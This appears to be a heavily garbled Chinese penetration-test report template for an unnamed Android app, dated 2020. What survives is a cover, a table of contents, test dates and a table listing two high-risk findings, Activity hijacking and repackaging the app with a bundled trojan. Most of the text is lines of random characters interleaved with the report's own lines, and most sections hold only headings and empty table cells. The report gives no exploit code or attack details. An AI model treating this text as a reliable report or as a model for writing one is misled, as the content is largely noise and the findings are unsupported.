, _, R9 X9 S( N& s) }! z$ K3 F& W
+ M5 u8 y; p( W. M: I
8 S s. \$ e% O; h
7 f% }$ e; h& | l( |3 n7 u0 j
' J& i# C. W9 h4 p$ G. g4 ^6 m6 p
) M6 k; @3 ^$ @+ r0 Y
, Q% Z+ C+ y6 d# R/ B5 c9 J1 @9 N V# `3 [5 Z2 ]3 R; _6 S) s# k
0 _2 u0 N! Y' C7 N/ u& u/ K
6 O: A% E. L* w7 r. [! g g
' B" a; w. Z$ z% P" v/ [- U
7 m" R0 ? Q" v. W5 W( `; p/ Q* X. r 文档编号:
5 m) F) S/ {) n. f5 q( }. A4 C2 w% K1 B4 P4 I
0 D# V: S3 Y i7 e
) A* ]+ W4 I* Y7 Y
" [2 v5 T* H/ l1 [- h% e/ o E+ `# u' V4 D
4 w' a0 Q$ H: V( R3 g
) U1 J# @$ _- x4 T4 z$ ^
4 e* I- I" J* B9 e" N- u
! ~3 M0 v5 G! g# p. \8 ^) _
T4 ]4 l4 f' J: Y
; j; a# \' O6 f5 W
# I. E2 B3 B9 ^; _% w
7 g7 ?$ e% d2 B7 @( M5 g O# O9 V
7 K# |5 D& V* Z4 Y0 m5 v/ D* L7 m6 c, `* U
* C q. X( k& V4 ?3 b4 S! g: w G1 K- V/ t9 }
( c! W9 r" G3 [/ ?/ y: t; z& k# X7 s5 _3 K4 R5 ~3 E- ]' H
. V4 D8 v7 K, A N$ T
$ m" C. q; q. g: r+ _ : i$ W1 p' H9 k
* { t) [) v4 d% p: F. d; p: ^" a ( e) F2 ~ k+ t. t" M* V
0 A5 z5 Y6 t, [) |% G+ T. M0 E
) T* Z0 X8 y5 H* d
( \: u: T1 j @$ A) {6 L0 L
3 N# G, x1 j( X7 X/ Q8 m% o/ x
9 l L+ @3 _) Q2 z7 j 8 R1 d/ D7 b! {1 N
6 f; V, \/ ]- U/ o6 ]& A$ |8 T
: q) }. [' D# H2 M1 a+ v9 D1 a
/ ~/ e+ k) T( M6 r4 N& S# p {- M
; v7 h7 J/ I- L. j$ M; D$ p4 t
, R9 N9 x! I; x' U/ t( ^* t; K3 t5 K 某某某APP渗透测试 " n5 }1 e* p$ h
* t) n: I, m4 ` y4 X, l$ q$ z
( m: t+ p6 c& F/ a7 c1 M0 c. \, J
! i! u& V# F, B! x, t
: G( X5 W; G# C) Y. W! U6 d* J+ |7 A/ o/ t9 m
! G# K3 j) r2 ^* m: h- f0 }+ s9 \ y
% B" I$ V: ?$ o3 ^
; d8 Q- E& h1 L ' F1 G. b4 ]0 H# D1 a" @8 x4 b
) x* k7 m; {( \; j , k* u2 e; s/ ]! Z) Q' c% O
1 a/ ]6 o" ^2 E i
1 @3 L6 r X0 Y2 e
# W$ v. O) x9 \. ?# n4 n3 c
2 t/ k( ?/ j' G- q0 m
# I" V6 x7 ?' n; Y3 q5 e - y+ q [% ?. D: q) U
& R* M! ^% K' F- `/ G
# r g$ Y1 ]9 t+ r+ r$ M, R% T% S
8 A/ R& e' S" p3 W# l
+ }4 N! J+ b& Z/ Q2 n7 I( T3 u. B0 M( I3 u2 K0 Y/ \" _
1 h: C" @0 h, S$ k5 o3 F* K8 g
0 I7 w; A/ B, o1 D- R
Y+ X5 k, C6 B
. I2 p+ T0 ?% J, v5 d
8 h9 ^0 R' w( C9 t5 N
C* e( F& z/ M0 j: h& f/ _, F 技 术 报 告 0 v" B O* i6 A7 ^7 q0 w# n# Z) }3 c
$ H& U4 ?7 w. v) ?" _5 b; G# b4 d
' G; e( h/ [- f' F; k- N
" |% D" J& Y& W9 d , D$ z% c l' p8 b2 s" T7 J
7 k# P: N6 H$ c ' q3 B a2 {0 e- w L. h( U
' `/ {6 D R N) Y* D. E
$ B; @; _9 K4 O! H# a4 x: [4 w* Y) ^) o5 q6 D" y. I* ~+ m9 J4 F
* O& U: {4 i2 Z0 U/ r& R
! {# ?# }- L+ B. X4 \1 \* o4 I
; j) R% r* H& I3 ?$ h+ v( C
4 ]1 Y" o1 f0 z0 z
! c* ~& a$ V* u4 B2 [
; B. P* J# [$ y, m' E
$ ] L; [% d" `' L3 {
- \) U# G# M+ y . _7 d; ^& B, L4 f7 o
' g1 l9 T: g! [
9 j& w6 P/ y, L! M* y2 A9 {
+ r9 M0 q: @# g6 [& F
! y/ G4 c3 u9 E/ {+ m" K5 b8 o1 x! C/ C( }" }7 y1 g' ^6 V( j
" A; m" F: m1 v% e9 B
. S* I' } S. D2 G; a4 X& B
7 I( A( G5 g/ T2 e
% ]3 p% m! X1 G1 K* d- K5 ~( i
7 x" K( w; `. c3 d Z# M8 H
+ I' R' [; P# T6 `0 `$ j, f: r( i
, o8 l- e6 J( D# u y. J0 C/ Y2 y+ Z3 k' g* h: I+ C
# m1 L. S0 o1 s X3 w
/ E' ?# Z+ V7 y, l4 [
" k# Z# ]+ m L# R7 @; r4 M7 h
: c3 ?2 w. r- b c& ?; C" }9 ]" E' @
) q, U+ I+ [/ u/ X7 D6 g: P" \
r) A! ^ l; h9 j
& a- L j; H) }, f/ a
- J; n$ M+ h8 T1 T- o8 v% B, ]' j1 m2 ^$ Z* J
3 \' K. A# r! F: o. M
* B& b* b( Q: k( t" [0 @
7 H2 Z# f9 v) D* z
h* O6 ]$ |4 K8 o- d# E: O0 G) S 9 V& q! e5 i7 V4 X- t& ?8 c: v
5 D+ m2 Z. P1 v4 t' [+ ^+ ? \1 O9 Y
! z" f1 t2 T/ r* c" t6 v. q3 h$ F. t& G* `2 d( h
' f: _7 J0 R6 X, Q4 L* u& E8 V! F& H
! j5 ]& K1 f0 p( x
' |: X, u, Y0 [! Y# U; ~* @6 K, ~
3 o6 O* s9 Y. _5 ^: U) Q, f- |; F+ e/ a0 [; w7 Y' D
2 \* I6 e5 a% g/ y: \" S) a6 S+ ?. b5 ]
- ]" V0 W* y. \5 Y, B: A# _
a7 Z$ q- I/ I" Z2 O' V7 H5 X/ ]
* C8 |- b- I! I4 ] 3 h4 F/ \ e" W l( p7 r& ~( ]
9 ^2 e* A: n4 [, b c2 Y+ ~# t
. M0 |7 F, R# a) {' E; T
1 {5 j' E% n* Q& E$ h, E( D- s
0 m4 Z* c; f5 d+ B
: S5 E' z; {0 Q0 i1 ` 3 H' [! R! a, n% i+ I: C! z
* Y+ {3 @) f, m- d5 h; W" @; j
: L7 p( k/ V) I5 v+ X( L' v
9 }$ ]7 A2 |" f) I
' K( m8 d% Q: t# ~) x/ G$ u3 o; D' ^7 Q% b4 K; W
7 s$ b: B2 P) ~7 E& t2 D" v
' R x0 F: }% j5 X
1 _, v6 _3 Q( f0 T. l
! l4 o$ ?9 B1 ^. W
5 R; z7 T h4 I
N9 @2 F4 f* W0 H
* C/ d- s9 v1 L& T1 N' ^
4 J' s0 z6 l* s0 q6 J( y
$ B: s( z. g+ u1 D3 s
+ d W/ M* Y5 N9 h5 a, i& c
. @5 j! x7 e3 d3 U' n
* W* {6 S% }: r2 J( t" ~ . v" O$ J* _+ b q6 t2 p R
: t, F) z8 U8 C
' D0 B P8 C% ]; r: y; \" {$ z. I
$ f" l* O& t7 |+ G* f$ F
/ P( a. W5 k: m! k, x! _
. s' [! T1 e2 K" S 5 |. X9 o5 x+ o* I' V0 {# L g
4 R9 `4 K6 J; a% H" v+ F8 p* {' p
4 K; P v- i4 J* i% c
5 ~* [( N1 m0 t$ {' h6 [0 r/ Z
: E* l1 Y+ b$ a; b/ @& y& N; p' M9 f! }
! T( A# F9 h7 {8 l( i
% d5 w4 [2 @! o' u9 B% T2 x6 L. K# _
, e4 Q3 Q) m* K& F7 z, ]' k8 l* m1 H* ]: _4 Q' t* T( b
. b K1 ~5 }$ z2 b" i. b
3 E( d* F. l4 O! f& o- x* j0 j
2 _; N& G6 j- X3 y& E4 D' b) l( n! R6 a: Q/ g2 G- A# P
5 [' E7 F5 o9 q; P/ u: B. g9 u! ^) `# A- x' [' v7 n1 {
* x$ k) j5 g0 K* C2 ^# {
" d' w% R k4 ?& k 6 x8 r! n8 M; v0 J; s
$ k! ~ p' d8 y) Y
' Q* Z7 Z1 f1 F# Y. M. }) W) R
, I3 o( a0 b* W$ M
; r& j2 r3 L F3 i% q+ }8 z3 o9 y9 b1 W$ {. a8 @
二〇二〇年 & g. `* t2 z( ]0 F" }4 P
* X/ [ F- k0 f# U6 |( H8 d9 J# X
9 J; ^# O5 d2 ?" j a& A: m$ h' [% R& Q0 ]2 m( Q2 Y; b
2 E1 i% C; b, w [- k; D, R) }: p1 N' n
) L8 ~( [6 U' r* V+ I6 a7 c; Z4 {1 u% p0 G
5 R, \/ {+ c7 k9 F
5 f9 z6 s! p8 t# ^4 R1 n, J
0 [6 f4 n; A9 s2 |
) l+ Y1 s7 e" l4 p9 J
) A: e9 \' ^' x+ e: y; C5 ^
8 K" s) p7 m: }/ {1 i
* E/ c, o( u/ J+ [4 P( `; Q- q+ s8 |9 D* U0 h( w; l
* r3 Q6 ?" ^. c1 m5 D
& r F9 H3 N l* v- _- s7 U% p* X
j# I/ E/ V! ~) p8 R+ i$ F1 |* F( {# L0 h
0 z( ~# i; U: H$ A& s# T2 P0 q, J
; B( R( h( Z+ ^: X4 q3 H2 W3 q' t3 H+ M: ], R7 I$ F9 @% c* k# {
目 录 1 ?2 j, V3 k: }" x, ` d
/ v0 T( _2 y E
, B7 h- J K; I
) r" {& X0 s) ]( y* H # X: U/ S& W' C# q
6 r8 d6 {! ^4 H$ i+ A
" j9 ]& n5 k. S. X3 Y5 ~9 l5 a- g, L) W
5 j* t1 K* L* I( j l
+ M0 x7 A( I9 ~ g d& w% d) @& T" q
4 Q% R" S, c# D' e! A5 H/ @
& @: _3 z3 {4 M1 W
$ Q2 A4 O+ D2 _9 g
$ Q: r0 n% m0 A" Z
1 概述... 3
: h+ Y. U8 H* E6 n9 V; P! Z8 W4 X* L+ r
$ o6 @" I8 {0 M* j
" Y4 ?) I1 [' g% M0 t7 n& O8 |
- ~! D! L5 {) {- v2 h& l. o* J; |
7 R) M/ E7 }4 S. ?; X( { 1.2测试时间... 3 ; ]% l& X, \4 R% ?! }% T# P# ~
: X) x( W4 c! f- g- e
. b: U2 s2 X" j
# q3 {- L4 p$ i) k s, x9 P
" f4 `; @# r z, ?( D
+ p: K7 g# A% k( f 1.3测试对象... 3 - s0 E; h4 f- t- m0 B
, A: P! Z7 c! m/ A+ E9 \; `0 X6 y
) K8 Q9 P% C+ A4 [
( g9 C% t8 m- \% k' {! A
9 C6 |9 G5 M0 M3 Q) n8 d0 |' M- Z. S$ B6 l& o+ @
1.4测试结果... 3 % G, e! T- z8 S7 G$ y
: V! H# X0 n' Z p& N0 L
# G( `- D( w1 G: _' R
$ B6 }! J5 g) I $ O2 M, u& T4 D* v- w# z0 U% ~
) \! A/ E0 J' Q
2 检测结果... 4
& ^, W8 x2 ~7 Q6 {' B1 h3 g9 @/ @3 P% N) D! ?9 i2 h' u
8 n0 V# ?* s. P" c6 P# ]
+ e% w* R1 r: k" m) [ # V% O( Z' c5 z( p/ S9 `& _ S0 ]
9 h9 H% E; ^4 X/ {5 ^! e 2.1 某某某... 4
9 ^% l6 G6 C8 Z! Y5 W* U! [! l* a4 R6 X( Z7 z# E
0 S0 K+ }8 J, L! |3 f. u( _
' ~6 S& `' H1 t1 O( O6 [9 i! Q0 c - b8 \. w1 Q( E1 @$ ^ F4 ?; G9 U
/ I5 j W% a1 Y9 M
2.1.1检测目标... 4
+ S7 q; H* A2 ^: W7 K
/ j1 ~5 t: j# c: y* q
' A# D; n$ q9 Y: D. b4 C+ E
4 N6 p8 F. Q! R6 e5 D
' ^! h8 \, _! Y6 p) s. g. I, N# x8 O1 K7 c# m) @
2.1.2检测结果... 4 2 F3 x3 S% i2 t& P
- o* ?) D+ ^; q! J" O+ F$ c) _
0 M7 N2 O( X& H
) W3 q( K- [$ V
* t' t( o) f* e) ~6 @
1 ], T4 `" v' y 2.1.2.1. 4 / S0 `" l3 ^8 D8 k# E0 t7 |
3 |: ?" Q; w2 i6 A' R, p
: ]! g7 C, r. I- f9 B6 ^) [2 `- Y. N1 Y( @/ n1 J8 K
# i- g; {- \. S9 N6 D/ N. A
; u- w% m1 x h) S8 @; b 2.1.2.2. 6 $ c% N- x6 q% G* { ~
5 q2 R/ | a( J* E* w# W# T& t
0 a- ]3 R `/ ~+ E& e+ B! a
& j/ a. A+ l% f- f! O8 i! V
# p g$ T3 [8 k# M4 E1 c% z, i* M4 H* o* d8 D3 L( t( @. y5 z
1 Z8 V$ U9 V& x: b8 x
6 R$ C% _7 ^, g% \' U$ ~4 F. Q: W
: C' e; ^+ \& g; G* l% I: D, V# C- _" g M# |
) y# W7 o5 a7 X" |
! \# m4 A0 K9 n ?$ v& U0 R. U
& r6 i: y, D2 V! v# n, u7 X. g% g
4 [- U, `; O) ?/ k! J$ s
$ u$ z2 Q& o" o m& J% B3 ?1 L @" ?1 o
# I& z: I7 @0 u, |5 J3 b
+ u. Y% e. G1 q L$ l ( l# N7 q1 ] K
/ P" q) |. _% H1 F, j' l
1 概述
3 _% h* T- f) ~6 T( T/ F1 V
% R: ]0 T% K& O _
/ b% A p0 ?2 g7 ~8 l5 p g* c1 _
' r4 U" k5 g. n$ ]5 ^1 f
% U: I* u# o6 ?4 A4 @( B* s
1.2测试时间
% r" o+ ^/ \1 S
6 r; Q- `; t/ d/ e; O
+ V; e$ n' H2 K* j! D' Y
4 Z" x# Q8 ~$ `0 W ! D- h7 i7 y' ^) h8 T! j0 c+ o
2 j. S* r8 R" }$ W' @) F; G( u # I( u# q5 P/ S$ L
0 `" u2 p9 S6 j# N0 `5 c 4 |7 ]* m* I& O* B# G
3 X( A0 P! z2 [' b- O; u
+ o' A7 ?/ |: c) |
. G; Z( k* V- l0 |9 r- y* a1 v, B, {
, c1 k4 V5 H; d5 s2 x- J6 {
% N0 Z7 ?$ x7 q5 R8 D7 c8 X 渗透测试时间 2 q/ g) P2 M' g# q
: L1 P$ @8 F/ X! ]& c6 B % Y0 j9 v: p* N2 p: v+ j
/ i+ T1 B6 U! y+ L/ A5 { | N( E/ V9 ]" P
/ U4 J0 y9 ~* n
3 b! G. r U1 U
5 n8 K/ {. q, _+ Y& ]& o- X * `3 Q! d- z% T8 H& N5 C
% A0 s3 D* Z4 L0 V- K) i
8 u7 C: x. R. g' q- D0 H9 B# C
; u3 A5 a* H z6 L0 d& q3 Z1 |
0 _2 H3 {% Q/ U4 m d I: {7 o: \
- N* R0 O$ B2 z 起始时间
]8 W& L' o) b1 w' O, Y5 a" F
3 f7 L# k9 n5 ~$ A2 X* U b
8 D u0 x# C9 t9 e4 v! f' T
1 t9 X0 p- g" C, W1 i! t |
# G5 i. u$ K5 N( O, O5 F! t" G
8 i1 F6 v7 ]7 m" g4 X8 a4 l
. S! I' _0 k0 d# e6 l- g7 E
/ b. n9 i3 ~- I% b4 f; u0 O: g
) r" O- }# f; q/ V; P7 b
. @. e& F1 `4 Z4 M9 W, M% G 2020年4月6日
) a* f# S5 s0 F! {# @5 n4 V
1 f: {- F* y F; T9 f/ l* |( a, [
. z, k a) s. B& A0 t/ l! c0 O/ I. ]) Q
| % O3 v' b( [. d3 [4 E. X
: x! X$ @/ A0 |1 O- K$ T6 |7 k
' H# B! P8 P- J% |6 L
' Y7 q4 a5 D- H# N: ^' p8 Y* ]
9 u+ r+ [/ G/ g
" m5 P4 Z: V2 i7 F+ y: ^ 1 L/ L ~* H; w9 W
1 Q% `, R* Q# t# U0 I) G3 t
$ k8 Z& ?# V. X/ Y0 P W5 n E2 i' Y: Q6 |4 M- Z. k, ~' O
结束时间 * n/ ~* `1 m* a
: i' b8 R: h% D; I; V* T3 | / R2 O3 R5 ^/ e1 R9 @
4 g5 A" Z6 W: h/ j |
' Z( N# n0 U; M) X0 j: G( E V0 ]
9 [* p3 ]0 g; }
6 g6 X4 d9 j' q4 n [ ) `6 s1 V3 W3 i0 q' t: v0 N
( U: X; l( I( q `0 H
2020年4月9日 ( f+ A- B& T. j* @4 W: ]
4 U1 h) Y* F: M5 t
! n7 p- R5 U; `4 v& @8 R% ^
# k- Q8 l- `! ?% A8 r5 H( E1 G- \ | $ o. s& t/ }+ \; Q! y" K
+ o% [+ F% Y! C. b' E; Q+ F- G# q- Z
7 z2 i/ B0 K+ k, o, Y* W
# j Y! y9 M' c- R' d5 H& B$ ?6 A / \6 O% }/ a {3 b# I
# a2 ~9 }/ }7 w* w
8 P, _9 \! k" N6 e3 q/ J
( b% g5 I- `. S3 S' r
) O/ W @. u, J) o: `& k: B9 P4 n8 K8 j- J8 Q- s
1.3测试对象
; f- D) L9 N4 S* x& r& [- z; x
, W( j0 i4 H$ `4 W
5 n8 k& H) f% ^. B8 S) T- Q3 ~3 E. t4 t: @
* w/ I; H/ O6 G% O+ K1 n; I2 p! V9 b) g+ `* w9 N" t
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 7 d: }0 }/ ~% K
$ k) X& H: X! h. L9 l* F
' ^2 \8 H; H7 {7 V' L
, a5 J$ c2 @7 o, N2 }2 P* q' r
3 J% G# C- Z7 k; A1 _6 u" d1 R
$ `, I) t- }' \6 y" { 表1-1 检测对象
0 S) W% c2 `3 u5 ~# j" U3 u5 j! W; t1 Z5 K t$ O
% m$ M; r& ~( i9 q6 w5 [" k
$ h1 V$ }' X) j 7 [% X! _' Q: E, H5 k# Y) e+ _
2 e9 s' h! z3 X& B5 Z- c+ _8 L
7 i% N( o/ y, V, Q, x
& R, O0 Q% k5 i$ B# Q
% l8 c/ H$ F& J8 t
# [- i5 { P. Q/ k4 H3 e
. I7 r2 h6 |, k7 f! z
' z3 [* M# x- I8 z) W
8 v! D- v% ]- w- S1 C3 V: h1 J; x! l! ^) h
序号 . ~3 V# E0 h2 c8 N
3 t& E" n( i/ M7 f2 T0 ^
) W6 [" p4 J% {& i; ]
( y5 l# O8 D* c% n$ K- l- T3 @- q
|
+ x6 S7 u0 `7 V0 _/ E) P
1 ^5 B' V8 K$ ^+ ?
3 l+ j5 K5 ?8 F X: n, Y
$ R- t) i8 e6 F& i! f. ? |( c: R$ J' v* ]
! J+ [& k; J# P4 l$ a. M 测试对象
& P3 [0 W5 R6 O8 @, d; ~& G- o& g! K% m
Y. h2 k" L [- s1 H5 }. Y; c( R* y
|
8 r# ^; X2 o3 }; B( s2 k$ m" w, `0 T# e% k6 h5 ]
1 `7 B- j9 I+ q* F* [, j: _& d6 Z" s* I' b
3 Q) y. |) F4 L
7 y& f4 \! E3 R" ^- ^* M1 O$ n
测试地址 0 J; F: v4 L! {! n5 b6 g/ b
% n! R# a6 J) g; C + @- @ m& _ u. ~1 \4 ^3 c& I
. K7 F y& f9 L; [' ]) ~
|
9 _ G- ` o$ {! t/ E# @9 O; Y5 ]6 p. o) P$ K$ I: x( F
$ h @5 @5 w! ^3 |( `7 |( P7 y+ o% w) h5 X: `% S
) M. P/ k! G5 l8 p6 t0 X2 P
% J0 ?. j" b5 N, l% F 安全漏洞
8 K/ {' ]0 h O8 M `) s
- X+ E) h* k$ \5 [: ]
4 ]1 u3 u6 g% c! A0 a# w/ k
8 D- i2 k# Y# J; j/ R7 j0 N |
& \: H/ M7 e5 j
9 j1 k8 i/ G! C3 g; C. h' t, X
5 U8 Q' a& E$ o: l/ g/ Q- d s& N) I: ?1 e, U( D; ]
/ _* q& c0 i. a: B9 l$ D; i; ^6 _3 U: ~' U7 j) E. n- w3 y* u- k" `4 m
1 E! z) D% ^, c2 Y
* Y0 ?- `' c1 S& _
H- C) M" X' G B: Z# W6 G2 f
* C+ [2 k2 W- h& d* X7 ? 1
7 ~+ E5 Y7 k/ Q6 U5 m7 g) t! h8 w% F* o
0 T2 a0 n8 b$ t1 ~
$ a" ~# C8 I% M' w | 7 c# s2 C8 Y! B/ ^$ z
# H; v( n, D1 F' L8 N" e" S, E+ Y" w
8 O& R- d9 j3 W5 k" g0 k0 i" H
/ m: Y% e1 ]4 b! s0 q4 M- ~$ P
4 ^- e. l, F \- w9 f) i
9 C0 u, t" G7 _# l% E1 Z$ Q 某某某安卓APP
# r) k9 I8 {* n) k/ @; b N
Y7 N5 s; |" \. I- B& h* I. ?
' y& A" o5 i8 O! z$ U
4 n8 W* G P) E6 i/ K! U3 t3 ] |
+ [! B3 u: u6 X$ q& H2 ~; b D3 X; ^' v2 ?" C! N T
/ Q. d3 Z* b+ L
: r$ e( x) k' y" s* g# y+ C
! j" [1 d% F, j4 Q9 @7 N" u) _- U1 N. O& F2 j+ p! r
, n* h5 a, [* V0 f2 E
* C* ~' l3 ?6 e9 g* z- C
; ?- L( k) G& d7 i3 u2 Y3 j5 Y) W% G6 C4 T& V
| & Q2 P$ s% b+ p* j
1 p+ F! u! n, y4 A0 l1 R
3 U z3 e% h% M( h' H# o; N% B& K1 k% l- t q: n3 G! a
/ q$ _4 h8 N! S# o
! @! t! Z2 |2 R- ` 2 " R1 D1 y: C% s$ n/ p
# h& \: S2 v. v) W" F( C
z5 i$ R e3 J! ~: o/ j( p2 ?7 [) Q
|
9 g+ j7 L5 w. Y T
4 _0 V0 T5 p' ^% F; a
5 o% J7 l* B; A' f) H* ~4 ?
1 H7 _8 T: Q6 x# p& D/ f) |
6 S; _; x/ X- F' Q- n/ B( b
! u5 l+ I% K) s; Q" n. s0 G7 {
' e3 P8 x! L( H6 Y# A# w
T* [7 h/ |0 N: n% \
) c& L! |8 X6 Q# R0 u
; f0 s% T# e8 H: {4 M( v+ P. p
1.4测试结果 4 Y$ ]0 ]# C: R6 p2 z6 w
/ W' g8 }* k1 M; y2 i
0 n2 d7 J; s/ Z) S9 G/ \
5 j& Y6 K* l$ o7 Y n
) z' f4 `6 v# m, r) |, n
& d3 K2 M' e+ B+ h+ q; m 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: * v, B, Q/ l: _8 c9 E# g
0 P7 U% {$ ~& x/ f$ `& {/ b" ]
* ~* k; t2 T1 R' s* y* `
^! t' S* g( B. `3 O* D+ ~6 c 1 b/ ?7 W: t/ h6 \
. n& I& \. f& ]8 W6 S4 j$ |
# j# x& K4 b$ K* N T! B% b1 V0 B; g1 n7 w; a6 f; f: p
* z2 O+ J& s8 k! u
+ k N6 k6 k7 l0 u3 D. M1 `9 Z 4 U) G! E& A$ y- m
# t0 p0 |" C. C; c8 Y: Q; J A: H
7 ^+ C' \4 O2 g* Z8 z
( k, v# \" [ _/ z& E2 S# `: S
3 s* t; V) s$ V9 q& \
" Q% I, G3 p5 J9 L
8 t$ B' f8 o, F, i1 i5 \) {9 `
! o, E& W* v% w+ V1 s& b& Z
# D& v! G* B; F _/ M9 H$ a& E o' {' Y3 y
0 {& \% @7 G" J/ ~) Q
; l! a9 D, G: R8 R" R6 d& ^ 序号
' i2 S, M( P, b& E7 R, _0 I5 r3 ^4 _$ N' ]! ]' Q
8 @# C- [$ ~4 E% l
" o/ b4 X' d; R* a7 P |
: D0 m& D+ {+ ], P) }
& b5 v. j4 f' `9 v7 o * y7 [2 R% \- t. v8 R2 x* h
# g! I6 a! W5 P+ ~" [
8 B5 a& ^0 j, H) N" K8 y" w9 ~6 q8 v9 |6 l
系统名称
- O# D8 d0 \+ p! e/ k+ l9 H/ F* m5 H1 @' G# s9 R
( s: u# G8 f0 c, m: i
- I. [- @: r" N+ ]5 j |
3 _. L ^0 k3 r2 I* s
7 P3 p& y/ x; m1 O H " W+ P6 ]9 U& [8 F5 F% z6 @( e
( C, q% H" ?( v5 u5 T
. [' q- z6 W) {( w C1 j% X6 w! J% J
漏洞名称
`1 z0 A- U* F* d0 `3 p! g
8 j) ~: T% z$ s6 |5 ~
9 T& g5 |2 v$ b$ h: B. k7 }: q# \3 e* t8 F7 g6 i7 `4 s
| 4 ]4 w& W' V5 d2 a
; f1 v# V9 h& [4 j ) A5 ~# G! Y4 S2 v1 R9 t1 V
6 a5 w9 V6 @ U3 j % z+ i1 v4 R# K5 h0 Y& |+ w# \
' ^7 e5 ]# t7 B) E
漏洞危害
5 J% h4 h$ {% I- W; P" G$ ] }8 c
! n; Y# e5 ~8 N! L
2 \( i* h+ g' h' {; V0 x | / v' I5 h) Z2 G4 s. S
# ]8 F) M/ D5 p1 W; F: }4 k: ]; E
7 b0 j: Y# z! D! N/ F2 ~6 x: ?: F }' p$ \! d9 o! ?/ S6 T
6 a! e) }. I8 E+ m" T
2 c# o7 s. w- V( U* L; w9 A1 I4 b1 D 修复结果 & n" o! r6 Y5 P6 p
! L/ s4 N0 ^, l) D; n+ R- u
# a: Z; O/ l' p( J) E2 f9 x; ]- u
E- C2 f5 ]8 n( f" C. u
| $ b$ O# R9 `4 R! u
# g3 E% h8 N2 w& f z7 v1 O
; ^7 S) w' T2 V$ K0 B: j8 J5 ]+ U. \ A, T+ z
+ f7 q0 U5 P6 m5 B$ m$ {3 k& A
/ |2 p8 r# P0 A# O* o 7 [( E+ x1 g3 L! O7 S% D7 R# B
, m- ^, d6 f6 s& |2 D 2 l0 G/ s- p/ u6 ^# B! q! r$ m
9 S9 D* u& w. A& L0 y/ u k
1
% }( M" v0 E% u, s& U; c1 c+ Q2 B0 P1 z" e; T5 _
0 K$ A8 P9 [9 Q* z+ `; I# m- P, I) l
/ ?! W! z R& |: ]/ K. ~5 N) I |
; G& }8 j# l8 c2 }0 g2 v7 }( L) y& H1 N9 R) ~+ X
) h2 ^& r0 A \$ k( O. ]2 v& `6 ~% u% p
* Q( f+ F9 h# ^* F) d2 J
: {/ e) a; e4 b( \6 U 某某某某某某APP 7 E5 \6 |. o8 J2 |: \6 @( R5 T
% i4 n% O7 M3 {' M% C# z
: S/ w+ G* |4 n3 L* F9 Q1 o G5 R- L2 P6 L- S- G
|
5 f$ j' z6 Q Z
+ [. K1 J. @3 K5 o( Q
1 V* z( P% |) @6 T2 |% u1 g
! F7 ^+ r/ `8 a7 V0 t + F* h! v7 l+ @
- [" u2 m# l9 S$ I! o# m
Activity 劫持 5 j( N" C U6 Y9 u
/ z) ]* c5 C! U
( e c- L& ^1 M9 G3 C0 {( P6 `" ^0 O( V) U' K- ~
9 e: v3 |4 d/ [9 Q, z
# ?. ]1 U( A. r& m
: O! ?; i7 ?: V/ k" F
5 Y4 S* m/ F7 F% |7 l
# _! }4 ~/ } B2 A; X
8 Y6 h& [+ y# d, X% K |
i, b6 k' S6 r+ `# y+ c+ Z* [6 `0 ?2 \! A5 p) [! V) M
* ]7 ~5 e! ^2 b8 E8 g: e+ i, e0 u6 A9 p, H1 D1 e% z9 O
6 x8 p" r' x% O
$ x |. v. u) E' \6 T
高 " M U4 {2 y5 J0 O7 N* k( \/ i
0 P# l, W6 t+ \' @+ L
1 z% r8 {7 e% U2 z ?+ D0 k1 i1 R- t2 o, H; _
|
% t9 V. L4 c `0 h1 G5 S9 t9 Y3 _6 Y$ B+ m$ T( Y
7 E" f _# J. l, q
; Y0 E0 ?& w5 P" S# S$ p
~, z, f1 L n: E7 a7 y! n7 m7 n w: ?1 [
' M! `8 \$ `! y( c6 p8 H! p9 X8 j( }
) v1 G1 ~6 f) B( W5 b' t( m, z: \
| 9 L/ r3 U& |4 t! K2 n E
& s7 \5 C% L( {: g- X2 B8 u! q5 p
4 Z. U; l2 |1 i" ~7 h) J% [
0 N) I* |) `* d5 J; q 5 D0 W: B+ S2 d
( c4 v/ ]0 [% C6 n1 c+ b# u
6 [& r) [5 A% B- K
3 q: i1 G5 a3 @
$ p6 Q2 y% w' n5 ~6 g
4 Z% X" w' a: P4 J 2
4 t% @6 c, w: `* `, _- k6 s H( O" j# Q
8 b! F" H/ {, U, U& `- b; J
! b9 s, u) @$ u4 ~% v
| 5 }# g/ q; b0 S# ?* r3 ^
6 c; E3 Y: {) {. X9 S0 ?/ C/ y2 N
4 i+ }* G( d$ W: ?6 \) h H: P% `" H x
$ d. Z: M; `* k/ |1 [; F D0 W* s
$ p2 h0 M) S4 w, H/ J) k7 m6 }6 z4 h& J 某某某某某某APP
+ k2 m8 T! a4 x$ @$ E3 Z( p# J
) G/ {: e! V @2 A' m+ d% R' s0 h
8 }$ K+ z5 ]3 P- `& s" c' f) u, r( O7 ]2 a
| $ _+ j! L" [& s5 Z3 M. k+ _
5 U( }% k' q$ p/ Q) U& J9 G5 y6 W
6 r9 f5 a" Y/ S/ Z
! p+ I, V, n1 R( L 2 D5 p! r( g. Z; R9 h" k# o
* p: E0 I6 f1 y6 ^- `$ |
反编译二次打包捆绑木马、篡改APP代码
' I! M: k( ` Z6 l$ D6 R6 R" R7 c7 \2 U9 r7 ~7 @' j
* V F9 a9 p; @/ F7 ]
K; p. K1 ?2 f# t; h |
3 `0 w1 q0 ]& o- [$ n+ g$ a: ~- y9 d! k2 D
# y+ S3 P% h: j9 P" }! t" U, \& u8 m: `, n: \
+ z2 w H, }" U7 D7 B
1 u; Q0 U @2 c& n3 f9 s0 q
高
! n. L9 K( K1 c( Q2 r$ }2 [9 M" M% `7 H& D% {; f
B, E7 W3 b F
( ~+ q( m5 k e; _8 z0 ?: ]8 s
|
+ R: K5 N6 e6 b$ {" U9 o) {& I7 c- X8 G; ?$ F( K- K; I
' {9 _4 R" s% i* Z4 C3 t0 O6 m1 o' L _6 l# ?9 ~9 ?7 W
2 a4 h6 }" T4 @
" j& s2 L$ v+ |2 M0 m 3 f% m6 i0 G2 O! e$ K5 p" K2 |
1 |) h& a4 N+ O9 \
" O/ }% m* p& d Q; t# U% O
7 d/ g$ j& p3 v# m* y+ K8 E( f | . }$ d8 f- {. t; Y
5 [6 B, w2 ?5 m2 p+ v( E" [1 r
, R& a( Y0 Z! W$ _
7 u5 Q, Q2 f9 v# M ! H/ n& c: r' y( ?
3 F. D0 L, I* {
) `( }7 ]: I4 l1 [9 l+ \3 @# l; E9 e( D. n! y H( b+ Y: z, w: y5 @- T* H
